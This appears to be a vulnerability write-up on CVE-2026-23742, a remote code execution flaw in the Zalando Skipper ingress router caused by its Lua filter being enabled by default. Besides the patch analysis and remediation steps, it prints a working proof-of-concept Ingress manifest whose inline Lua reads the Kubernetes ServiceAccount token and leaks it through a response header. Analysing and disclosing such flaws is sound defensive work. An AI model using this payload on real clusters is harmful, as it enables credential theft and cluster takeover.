Skipper's Log: RCE via Lua Injection in Zalando Skipper

In the world of microservices, we demand our load balancers be 'smart'. We want them to route based on headers, rewrite paths, and perform complex logic at the edge. Enter Zalando Skipper, a Go-based HTTP router that is widely loved for its flexibility. It's the Swiss Army knife of proxies.

But here is the thing about Swiss Army knives: sometimes you pull out the toothpick, and sometimes you accidentally pull out the blade and cut your finger. Skipper's 'blade' was its Lua scripting filter.

To make routing logic infinitely customizable, the developers integrated a Lua engine. It allows users to write small scripts to manipulate requests on the fly. This sounds fantastic for a developer who wants to do some complex header manipulation. However, to a security researcher, 'integrated scripting engine' usually translates to 'Remote Code Execution waiting to happen'.

For years, this feature sat there, enabled by default, waiting for someone to realize that if you let users define the logic of the router, they own the router.

The vulnerability (CVE-2026-23742) isn't a complex buffer overflow or a subtle race condition. It is a classic architectural failure: Insecure Defaults.

Prior to version 0.23.0, Skipper's configuration had two fatal flaws:

1. Implicit Trust: The Lua filter was active out-of-the-box. You didn't have to turn it on; you had to know to turn it off.
2. Inline Execution: The -lua-sources flag defaulted to inline,file. This meant scripts didn't need to be static files vetted by an admin and placed on the server. They could be provided inline as a string within the route definition.

In a Kubernetes environment, Skipper often acts as the Ingress Controller. Developers create Ingress resources to route traffic to their apps. If a developer (or an attacker who has compromised a developer's credentials) can create an Ingress resource, they can define Skipper filters.

> [!NOTE] > Because the Lua environment wasn't sandboxed or stripped of standard libraries, the injected scripts had access to the io and os modules. This is the difference between "I can change a header" and "I can read your Kubernetes Service Account token."

The fix provided by the Zalando team in version 0.23.0 is a textbook example of shifting to 'Secure by Default'. Let's look at the logic change in the patch.

In the vulnerable versions, the code likely initialized the Lua state regardless of configuration. The fix introduces a specific flag EnableLua and wraps the initialization logic in a check.

Here is a reconstruction of the logic flow based on the patch data:

// BEFORE: Lua support was implicitly available
func NewEndpoint( /* ... */ ) {
    // ... code ...
    // The Lua filter was registered and available for use in routes
    registerLuaFilter()
}
 
// AFTER: Explicit opt-in required
func NewEndpoint(options Options) {
    // ... code ...
    if options.EnableLua {
        // Only now do we spin up the Lua engine
        registerLuaFilter()
    } else {
        log.Infof("Lua filter is disabled")
    }
}

The commit 0b52894570773b29e2f3c571b94b4211ef8fa714 does exactly this. It adds a boolean flag -enable-lua which defaults to false. If you want the danger, you now have to ask for it explicitly. Furthermore, they refined the -lua-modules flag, allowing admins to granularly control which Lua packages (like os or io) are loaded, rather than giving the script the keys to the castle.

Let's put on our black hats. We have access to a Kubernetes namespace and we can create Ingress objects. We want to pivot from this low-privilege access to compromising the entire cluster.

Since Skipper runs as a pod in the cluster, it has a mounted ServiceAccount token at /var/run/secrets/kubernetes.io/serviceaccount/token. If we can read this file, we become the Ingress Controller.

The Attack Plan:

1. Create a malicious Ingress resource.
2. Inject a Lua script via the zalando.org/skipper-filter annotation.
3. Use Lua's io library to read the token file.
4. Exfiltrate the token in an HTTP response header.

The Payload:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: cve-2026-23742-poc
  annotations:
    # The magic happens here. We define an inline Lua script.
    zalando.org/skipper-filter: |
      lua("
        local file = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
        if file then
            local token = file:read('*all')
            file:close()
            -- Exfiltrate via response header
            response.header['X-Pwned-Token'] = token
        else
            response.header['X-Error'] = 'Could not open file'
        end
      ")
spec:
  rules:
  - host: pwned.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: any-service
            port:
              number: 80

Once applied, a simple curl -v http://pwned.example.com returns the cluster's ServiceAccount token in the X-Pwned-Token header. Game over.

The impact here is Critical. An Ingress Controller sits at the border of your network. It terminates TLS, it sees all traffic, and it often holds privileged credentials.

By exploiting this, an attacker achieves:

1. Cluster Compromise: The ServiceAccount token usually allows reading all Secrets in the cluster or manipulating other network settings.
2. Data Exfiltration: The attacker can modify the Lua script to log request bodies (passwords, API keys) to an external server.
3. Lateral Movement: With the ability to execute code on the ingress, the attacker can probe the internal network, attacking services that were never meant to be exposed to the internet.

It is effectively a bridge from 'external user' to 'internal admin' via a single configuration text field.

The immediate remediation is to upgrade to Skipper v0.23.0. This version disables Lua by default. If you don't use Lua filters, you are instantly safe after the upgrade.

If you do need Lua filters, you have some homework to do:

1. Explicitly Enable: You must add -enable-lua to your start arguments.
2. Restrict Sources: Do not use inline sources in production. Set -lua-sources=file. This forces all scripts to be loaded from the filesystem, meaning an attacker needs file-write access to the Skipper pod to inject code, which is a much higher bar than just editing a YAML.
3. Sandboxing: Use the new module restrictions to disable io, os, and debug packages. Unless your routing logic involves reading files from the disk (why?), your proxy shouldn't have access to the filesystem API.